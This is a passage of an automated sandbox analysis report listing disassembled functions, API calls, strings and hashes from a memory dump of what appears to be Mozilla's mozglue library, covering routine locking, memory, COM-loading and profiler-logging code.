?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C696590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6967C8

Part of subcall function 6C6A4290: memcpy.VCRUNTIME140(?,?,6C6B2003,6C6B0AD9,?,6C6B0AD9,00000000,?,6C6B0AD9,?,00000004,?,6C6B1A62,?,6C6B2003,?), ref: 6C6A42C4

Strings

data, xrefs: 6C696593
vml, xrefs: 6C69696C

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vml
API String ID: 511789754-3335688618
Opcode ID: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction ID: 20ff2b914093ae74997b57c34fa08c7436a05d9ac23ef9eda6ba70f89351a345
Opcode Fuzzy Hash: 1ea53a4bcef78ae37e8f2907a97228b96f43628bc8324aa79383644413eedc8a
Instruction Fuzzy Hash: F9D1CE75A083419FD764CF25C840B9EB7E5AFC6308F10492EE58987B51EB30E949CB9B

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

combase.dll, xrefs: 6C6620A9
CoInitializeSecurity, xrefs: 6C6620C7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

combase.dll, xrefs: 6C661FD9
CoCreateInstance, xrefs: 6C661FF7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499

Memory Dump Source

